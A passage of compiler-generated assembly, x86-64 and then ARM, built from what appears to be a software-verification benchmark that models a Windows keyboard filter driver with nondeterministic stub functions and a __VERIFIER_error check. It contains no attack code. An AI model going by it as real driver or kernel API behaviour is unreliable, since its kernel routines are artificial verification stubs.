mov eax, DWORD PTR -68[rbp]
mov esi, edx
mov edi, eax
call IofCallDriver
mov DWORD PTR -88[rbp], 0
jmp .L36
.L50:
nop
jmp .L13
.L51:
nop
jmp .L13
.L52:
nop
jmp .L13
.L53:
nop
jmp .L13
.L54:
nop
jmp .L13
.L55:
nop
jmp .L13
.L56:
nop
jmp .L13
.L57:
nop
jmp .L13
.L58:
nop
jmp .L13
.L59:
nop
jmp .L13
.L60:
nop
jmp .L13
.L61:
nop
jmp .L13
.L62:
nop
jmp .L13
.L63:
nop
jmp .L13
.L64:
nop
jmp .L13
.L65:
nop
jmp .L13
.L66:
nop
.L13:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L41
mov eax, DWORD PTR SKIP1[rip]
mov DWORD PTR s[rip], eax
jmp .L42
.L41:
call errorFn
.L42:
add DWORD PTR -64[rbp], 1
add DWORD PTR -76[rbp], 1
mov edx, DWORD PTR -104[rbp]
mov eax, DWORD PTR -68[rbp]
mov esi, edx
mov edi, eax
call IofCallDriver
mov DWORD PTR -88[rbp], eax
nop
.L36:
mov eax, DWORD PTR -88[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size KbFilter_PnP, .-KbFilter_PnP
.globl main
.type main, @function
main:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -40[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -36[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -32[rbp], eax
mov DWORD PTR KernelMode[rip], 0
mov DWORD PTR Executive[rip], 0
mov DWORD PTR DevicePowerState[rip], 1
mov DWORD PTR s[rip], 0
mov DWORD PTR UNLOADED[rip], 0
mov DWORD PTR NP[rip], 0
mov DWORD PTR DC[rip], 0
mov DWORD PTR SKIP1[rip], 0
mov DWORD PTR SKIP2[rip], 0
mov DWORD PTR MPR1[rip], 0
mov DWORD PTR MPR3[rip], 0
mov DWORD PTR IPC[rip], 0
mov DWORD PTR pended[rip], 0
mov DWORD PTR compFptr[rip], 0
mov DWORD PTR compRegistered[rip], 0
mov DWORD PTR lowerDriverReturn[rip], 0
mov DWORD PTR setEventCalled[rip], 0
mov DWORD PTR customIrp[rip], 0
mov DWORD PTR myStatus[rip], 0
mov DWORD PTR -44[rbp], 0
mov eax, DWORD PTR -40[rbp]
mov DWORD PTR -28[rbp], eax
call _BLAST_init
cmp DWORD PTR -44[rbp], 0
js .L68
mov eax, DWORD PTR NP[rip]
mov DWORD PTR s[rip], eax
mov DWORD PTR customIrp[rip], 0
mov eax, DWORD PTR customIrp[rip]
mov DWORD PTR setEventCalled[rip], eax
mov eax, DWORD PTR setEventCalled[rip]
mov DWORD PTR lowerDriverReturn[rip], eax
mov eax, DWORD PTR lowerDriverReturn[rip]
mov DWORD PTR compRegistered[rip], eax
mov eax, DWORD PTR compRegistered[rip]
mov DWORD PTR pended[rip], eax
mov DWORD PTR -24[rbp], 0
mov DWORD PTR myStatus[rip], 0
cmp DWORD PTR -36[rbp], 0
jne .L69
mov DWORD PTR -24[rbp], -1073741637
mov DWORD PTR myStatus[rip], -1073741637
.L69:
call stub_driver_init
cmp DWORD PTR -44[rbp], 0
jns .L70
mov eax, -1
jmp .L71
.L70:
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -20[rbp], eax
cmp DWORD PTR -20[rbp], 0
je .L97
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -16[rbp], eax
cmp DWORD PTR -16[rbp], 1
je .L98
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -12[rbp], eax
cmp DWORD PTR -12[rbp], 3
je .L99
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -8[rbp], eax
cmp DWORD PTR -8[rbp], 4
je .L100
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 8
jne .L101
jmp .L96
.L97:
nop
.L73:
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
mov esi, edx
mov edi, eax
call KbFilter_CreateClose
mov DWORD PTR -44[rbp], eax
jmp .L68
.L98:
nop
.L75:
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
mov esi, edx
mov edi, eax
call KbFilter_CreateClose
mov DWORD PTR -44[rbp], eax
jmp .L68
.L99:
nop
.L77:
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
mov esi, edx
mov edi, eax
call KbFilter_PnP
mov DWORD PTR -44[rbp], eax
jmp .L68
.L100:
nop
.L79:
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
mov esi, edx
mov edi, eax
call KbFilter_Power
mov DWORD PTR -44[rbp], eax
jmp .L68
.L96:
.L81:
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
mov esi, edx
mov edi, eax
call KbFilter_InternIoCtl
mov DWORD PTR -44[rbp], eax
jmp .L68
.L101:
nop
.L82:
mov eax, -1
jmp .L71
.L83:
.L68:
mov eax, DWORD PTR pended[rip]
cmp eax, 1
jne .L102
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L103
mov eax, DWORD PTR NP[rip]
mov DWORD PTR s[rip], eax
jmp .L86
.L102:
nop
jmp .L84
.L103:
nop
.L84:
mov eax, DWORD PTR pended[rip]
cmp eax, 1
jne .L104
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR MPR3[rip]
cmp edx, eax
jne .L105
mov eax, DWORD PTR MPR3[rip]
mov DWORD PTR s[rip], eax
jmp .L86
.L104:
nop
jmp .L87
.L105:
nop
.L87:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR UNLOADED[rip]
cmp edx, eax
je .L86
cmp DWORD PTR -44[rbp], -1
je .L86
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR SKIP2[rip]
cmp edx, eax
je .L106
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR IPC[rip]
cmp edx, eax
je .L107
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR DC[rip]
cmp edx, eax
jne .L86
jmp .L89
.L106:
nop
jmp .L89
.L107:
nop
.L89:
mov eax, DWORD PTR pended[rip]
cmp eax, 1
jne .L91
cmp DWORD PTR -44[rbp], 259
je .L86
call errorFn
jmp .L86
.L91:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR DC[rip]
cmp edx, eax
je .L86
mov eax, DWORD PTR lowerDriverReturn[rip]
cmp DWORD PTR -44[rbp], eax
je .L86
call errorFn
.L86:
mov eax, DWORD PTR -44[rbp]
.L71:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size main, .-main
.globl stubMoreProcessingRequired
.type stubMoreProcessingRequired, @function
stubMoreProcessingRequired:
.LFB4:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L109
mov eax, DWORD PTR MPR1[rip]
mov DWORD PTR s[rip], eax
jmp .L108
.L109:
call errorFn
nop
.L108:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE4:
.size stubMoreProcessingRequired, .-stubMoreProcessingRequired
.globl IofCallDriver
.type IofCallDriver, @function
IofCallDriver:
.LFB5:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov DWORD PTR -36[rbp], edi
mov DWORD PTR -40[rbp], esi
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -24[rbp], eax
mov eax, DWORD PTR compRegistered[rip]
test eax, eax
je .L113
mov edx, DWORD PTR -24[rbp]
mov ecx, DWORD PTR -40[rbp]
mov eax, DWORD PTR -36[rbp]
mov esi, ecx
mov edi, eax
call KbFilter_Complete
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -20[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], -1073741802
jne .L113
call stubMoreProcessingRequired
.L113:
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -16[rbp], eax
cmp DWORD PTR -16[rbp], 0
je .L128
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -12[rbp], eax
cmp DWORD PTR -12[rbp], 1
jne .L129
jmp .L127
.L128:
nop
.L115:
mov DWORD PTR -28[rbp], 0
jmp .L119
.L127:
.L117:
mov DWORD PTR -28[rbp], -1073741823
jmp .L119
.L129:
nop
.L118:
mov DWORD PTR -28[rbp], 259
nop
.L119:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L120
mov eax, DWORD PTR IPC[rip]
mov DWORD PTR s[rip], eax
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR lowerDriverReturn[rip], eax
jmp .L121
.L120:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR MPR1[rip]
cmp edx, eax
jne .L122
cmp DWORD PTR -28[rbp], 259
jne .L123
mov eax, DWORD PTR MPR3[rip]
mov DWORD PTR s[rip], eax
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR lowerDriverReturn[rip], eax
jmp .L121
.L123:
mov eax, DWORD PTR NP[rip]
mov DWORD PTR s[rip], eax
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR lowerDriverReturn[rip], eax
jmp .L121
.L122:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR SKIP1[rip]
cmp edx, eax
jne .L124
mov eax, DWORD PTR SKIP2[rip]
mov DWORD PTR s[rip], eax
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR lowerDriverReturn[rip], eax
jmp .L121
.L124:
call errorFn
.L121:
mov eax, DWORD PTR -28[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE5:
.size IofCallDriver, .-IofCallDriver
.globl IofCompleteRequest
.type IofCompleteRequest, @function
IofCompleteRequest:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L131
mov eax, DWORD PTR DC[rip]
mov DWORD PTR s[rip], eax
jmp .L130
.L131:
call errorFn
nop
.L130:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size IofCompleteRequest, .-IofCompleteRequest
.globl KeSetEvent
.type KeSetEvent, @function
KeSetEvent:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov DWORD PTR -28[rbp], edx
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -4[rbp], eax
mov DWORD PTR setEventCalled[rip], 1
mov eax, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size KeSetEvent, .-KeSetEvent
.globl KeWaitForSingleObject
.type KeWaitForSingleObject, @function
KeWaitForSingleObject:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov DWORD PTR -28[rbp], edx
mov DWORD PTR -32[rbp], ecx
mov DWORD PTR -36[rbp], r8d
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR MPR3[rip]
cmp edx, eax
jne .L145
mov eax, DWORD PTR setEventCalled[rip]
cmp eax, 1
jne .L146
mov eax, DWORD PTR NP[rip]
mov DWORD PTR s[rip], eax
mov DWORD PTR setEventCalled[rip], 0
jmp .L139
.L145:
nop
jmp .L137
.L146:
nop
.L137:
mov eax, DWORD PTR customIrp[rip]
cmp eax, 1
jne .L140
mov eax, DWORD PTR NP[rip]
mov DWORD PTR s[rip], eax
mov DWORD PTR customIrp[rip], 0
jmp .L139
.L140:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR MPR3[rip]
cmp edx, eax
jne .L139
call errorFn
.L139:
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
jne .L147
nop
.L142:
mov eax, 0
jmp .L144
.L147:
nop
.L143:
mov eax, -1073741823
.L144:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size KeWaitForSingleObject, .-KeWaitForSingleObject
.globl KbFilter_Complete
.type KbFilter_Complete, @function
KbFilter_Complete:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov DWORD PTR -28[rbp], edx
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
mov edx, 0
mov esi, 0
mov edi, eax
call KeSetEvent
mov eax, -1073741802
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size KbFilter_Complete, .-KbFilter_Complete
.globl KbFilter_CreateClose
.type KbFilter_CreateClose, @function
KbFilter_CreateClose:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov DWORD PTR -36[rbp], edi
mov DWORD PTR -40[rbp], esi
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -16[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR myStatus[rip]
mov DWORD PTR -20[rbp], eax
cmp DWORD PTR -16[rbp], 0
je .L160
cmp DWORD PTR -16[rbp], 2
jne .L161
jmp .L159
.L160:
nop
.L152:
cmp DWORD PTR -12[rbp], 0
jne .L162
mov DWORD PTR -20[rbp], -1073741436
jmp .L162
.L159:
.L154:
jmp .L155
.L161:
nop
jmp .L155
.L162:
nop
.L155:
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR -8[rbp], eax
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR myStatus[rip], eax
mov edx, DWORD PTR -40[rbp]
mov eax, DWORD PTR -36[rbp]
mov esi, edx
mov edi, eax
call KbFilter_DispatchPassThrough
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size KbFilter_CreateClose, .-KbFilter_CreateClose
.globl KbFilter_DispatchPassThrough
.type KbFilter_DispatchPassThrough, @function
KbFilter_DispatchPassThrough:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov DWORD PTR -36[rbp], edi
mov DWORD PTR -40[rbp], esi
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -20[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -16[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR -8[rbp], eax
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L164
mov eax, DWORD PTR SKIP1[rip]
mov DWORD PTR s[rip], eax
jmp .L165
.L164:
call errorFn
.L165:
add DWORD PTR -16[rbp], 1
add DWORD PTR -20[rbp], 1
mov edx, DWORD PTR -40[rbp]
mov eax, DWORD PTR -12[rbp]
mov esi, edx
mov edi, eax
call IofCallDriver
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size KbFilter_DispatchPassThrough, .-KbFilter_DispatchPassThrough
.globl KbFilter_Power
.type KbFilter_Power, @function
KbFilter_Power:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov DWORD PTR -36[rbp], edi
mov DWORD PTR -40[rbp], esi
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -32[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -28[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -24[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -20[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -16[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -12[rbp], eax
cmp DWORD PTR -32[rbp], 2
je .L182
cmp DWORD PTR -32[rbp], 1
je .L183
cmp DWORD PTR -32[rbp], 0
je .L184
cmp DWORD PTR -32[rbp], 3
jmp .L176
.L182:
nop
.L169:
mov eax, DWORD PTR DevicePowerState[rip]
cmp DWORD PTR -12[rbp], eax
jne .L185
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -8[rbp], eax
jmp .L176
.L171:
.L173:
.L175:
.L183:
nop
jmp .L176
.L184:
nop
jmp .L176
.L185:
nop
.L176:
nop
.L177:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L178
mov eax, DWORD PTR SKIP1[rip]
mov DWORD PTR s[rip], eax
jmp .L179
.L178:
call errorFn
.L179:
add DWORD PTR -24[rbp], 1
add DWORD PTR -20[rbp], 1
mov edx, DWORD PTR -40[rbp]
mov eax, DWORD PTR -16[rbp]
mov esi, edx
mov edi, eax
call PoCallDriver
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size KbFilter_Power, .-KbFilter_Power
.globl PoCallDriver
.type PoCallDriver, @function
PoCallDriver:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov DWORD PTR -52[rbp], edi
mov DWORD PTR -56[rbp], esi
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -32[rbp], eax
mov eax, DWORD PTR compRegistered[rip]
test eax, eax
je .L187
mov edx, DWORD PTR -32[rbp]
mov ecx, DWORD PTR -56[rbp]
mov eax, DWORD PTR -52[rbp]
mov esi, ecx
mov edi, eax
call KbFilter_Complete
mov DWORD PTR -28[rbp], eax
mov eax, DWORD PTR -28[rbp]
cdqe
mov QWORD PTR -16[rbp], rax
cmp QWORD PTR -16[rbp], -1073741802
jne .L187
call stubMoreProcessingRequired
.L187:
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -24[rbp], eax
cmp DWORD PTR -24[rbp], 0
je .L202
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -20[rbp], eax
cmp DWORD PTR -20[rbp], 1
jne .L203
jmp .L201
.L202:
nop
.L189:
mov DWORD PTR -36[rbp], 0
jmp .L193
.L201:
.L191:
mov DWORD PTR -36[rbp], -1073741823
jmp .L193
.L203:
nop
.L192:
mov DWORD PTR -36[rbp], 259
nop
.L193:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR NP[rip]
cmp edx, eax
jne .L194
mov eax, DWORD PTR IPC[rip]
mov DWORD PTR s[rip], eax
mov eax, DWORD PTR -36[rbp]
mov DWORD PTR lowerDriverReturn[rip], eax
jmp .L195
.L194:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR MPR1[rip]
cmp edx, eax
jne .L196
mov eax, DWORD PTR -36[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 259
jne .L197
mov eax, DWORD PTR MPR3[rip]
mov DWORD PTR s[rip], eax
mov eax, DWORD PTR -36[rbp]
mov DWORD PTR lowerDriverReturn[rip], eax
jmp .L195
.L197:
mov eax, DWORD PTR NP[rip]
mov DWORD PTR s[rip], eax
mov eax, DWORD PTR -36[rbp]
mov DWORD PTR lowerDriverReturn[rip], eax
jmp .L195
.L196:
mov edx, DWORD PTR s[rip]
mov eax, DWORD PTR SKIP1[rip]
cmp edx, eax
jne .L198
mov eax, DWORD PTR SKIP2[rip]
mov DWORD PTR s[rip], eax
mov eax, DWORD PTR -36[rbp]
mov DWORD PTR lowerDriverReturn[rip], eax
jmp .L195
.L198:
call errorFn
.L195:
mov eax, DWORD PTR -36[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size PoCallDriver, .-PoCallDriver
.globl KbFilter_InternIoCtl
.type KbFilter_InternIoCtl, @function
KbFilter_InternIoCtl:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov DWORD PTR -100[rbp], edi
mov DWORD PTR -104[rbp], esi
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -88[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -84[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -80[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -76[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -72[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -68[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -64[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -60[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -56[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -52[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -48[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -44[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -40[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -36[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -32[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -28[rbp], eax
call __VERIFIER_nondet_int@PLT
mov DWORD PTR -24[rbp], eax
mov DWORD PTR -92[rbp], 0
mov DWORD PTR -20[rbp], 0
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -56[rbp]
je .L232
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -52[rbp]
je .L233
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -48[rbp]
je .L234
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -44[rbp]
je .L235
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -40[rbp]
je .L236
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -36[rbp]
je .L237
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -32[rbp]
je .L238
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -28[rbp]
je .L239
mov eax, DWORD PTR -88[rbp]
cmp eax, DWORD PTR -24[rbp]
jne .L240
jmp .L222
.L232:
nop
.L206:
cmp DWORD PTR -84[rbp], 0
je .L224
mov DWORD PTR -92[rbp], -1073741757
jmp .L223
.L224:
mov eax, DWORD PTR -80[rbp]
cmp eax, DWORD PTR -76[rbp]
jge .L225
mov DWORD PTR -92[rbp], -1073741811
jmp .L223
.L225:
mov eax, DWORD PTR -72[rbp]
mov DWORD PTR -12[rbp], eax
jmp .L223
.L233:
nop
.L208:
mov DWORD PTR -92[rbp], -1073741822
jmp .L223
.L234:
nop
.L210:
mov eax, DWORD PTR -80[rbp]
cmp eax, DWORD PTR -68[rbp]
jge .L226
mov DWORD PTR -92[rbp], -1073741811
jmp .L223
.L226:
mov eax, DWORD PTR -72[rbp]
mov DWORD PTR -16[rbp], eax
mov DWORD PTR -92[rbp], 0
jmp .L223
.L212:
.L214:
.L216:
.L218:
.L220:
.L235:
nop
jmp .L223
.L236:
nop
jmp .L223
.L237:
nop
jmp .L223
.L238:
nop
jmp .L223
.L239:
nop
.L222:
jmp .L223
.L240:
nop
.L223:
cmp DWORD PTR -92[rbp], 0
jns .L227
mov eax, DWORD PTR -92[rbp]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -92[rbp]
mov DWORD PTR myStatus[rip], eax
mov eax, DWORD PTR -104[rbp]
mov esi, 0
mov edi, eax
call IofCompleteRequest
mov eax, DWORD PTR -92[rbp]
jmp .L228
.L227:
mov edx, DWORD PTR -104[rbp]
mov eax, DWORD PTR -100[rbp]
mov esi, edx
mov edi, eax
call KbFilter_DispatchPassThrough
mov DWORD PTR -8[rbp], eax
mov eax, DWORD PTR -8[rbp]
.L228:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size KbFilter_InternIoCtl, .-KbFilter_InternIoCtl
.globl errorFn
.type errorFn, @function
errorFn:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
.L242:
mov eax, 0
call __VERIFIER_error@PLT
.cfi_endproc
.LFE15:
.size errorFn, .-errorFn
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "951422.c"
.text
.comm KernelMode,4,4
.comm Executive,4,4
.comm DevicePowerState,4,4
.comm s,4,4
.comm UNLOADED,4,4
.comm NP,4,4
.comm DC,4,4
.comm SKIP1,4,4
.comm SKIP2,4,4
.comm MPR1,4,4
.comm MPR3,4,4
.comm IPC,4,4
.comm pended,4,4
.comm compFptr,4,4
.comm compRegistered,4,4
.comm lowerDriverReturn,4,4
.comm setEventCalled,4,4
.comm customIrp,4,4
.comm myStatus,4,4
.align 2
.global stub_driver_init
.syntax unified
.arm
.fpu softvfp
.type stub_driver_init, %function
stub_driver_init:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L3
ldr r3, [r3]
ldr r2, .L3+4
str r3, [r2]
ldr r3, .L3+8
mov r2, #0
str r2, [r3]
ldr r3, .L3+12
mov r2, #0
str r2, [r3]
ldr r3, .L3+16
mov r2, #0
str r2, [r3]
ldr r3, .L3+20
mov r2, #0
str r2, [r3]
ldr r3, .L3+24
mov r2, #0
str r2, [r3]
ldr r3, .L3+28
mov r2, #0
str r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L4:
.align 2
.L3:
.word NP
.word s
.word pended
.word compFptr
.word compRegistered
.word lowerDriverReturn
.word setEventCalled
.word customIrp
.size stub_driver_init, .-stub_driver_init
.align 2
.global _BLAST_init
.syntax unified
.arm
.fpu softvfp
.type _BLAST_init, %function
_BLAST_init:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L7
mov r2, #0
str r2, [r3]
ldr r3, .L7+4
mov r2, #1
str r2, [r3]
ldr r3, .L7+8
mov r2, #2
str r2, [r3]
ldr r3, .L7+12
mov r2, #3
str r2, [r3]
ldr r3, .L7+16
mov r2, #4
str r2, [r3]
ldr r3, .L7+20
mov r2, #5
str r2, [r3]
ldr r3, .L7+24
mov r2, #6
str r2, [r3]
ldr r3, .L7+28
mov r2, #7
str r2, [r3]
ldr r3, .L7
ldr r3, [r3]
ldr r2, .L7+32
str r3, [r2]
ldr r3, .L7+36
mov r2, #0
str r2, [r3]
ldr r3, .L7+40
mov r2, #0
str r2, [r3]
ldr r3, .L7+44
mov r2, #0
str r2, [r3]
ldr r3, .L7+48
mov r2, #0
str r2, [r3]
ldr r3, .L7+52
mov r2, #0
str r2, [r3]
ldr r3, .L7+56
mov r2, #0
str r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L8:
.align 2
.L7:
.word UNLOADED
.word NP
.word DC
.word SKIP1
.word SKIP2
.word MPR1
.word MPR3
.word IPC
.word s
.word pended
.word compFptr
.word compRegistered
.word lowerDriverReturn
.word setEventCalled
.word customIrp
.size _BLAST_init, .-_BLAST_init
.align 2
.global KbFilter_PnP
.syntax unified
.arm
.fpu softvfp
.type KbFilter_PnP, %function
KbFilter_PnP:
@ args = 0, pretend = 0, frame = 96
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #104
str r0, [fp, #-96]
str r1, [fp, #-100]
bl __VERIFIER_nondet_int
str r0, [fp, #-84]
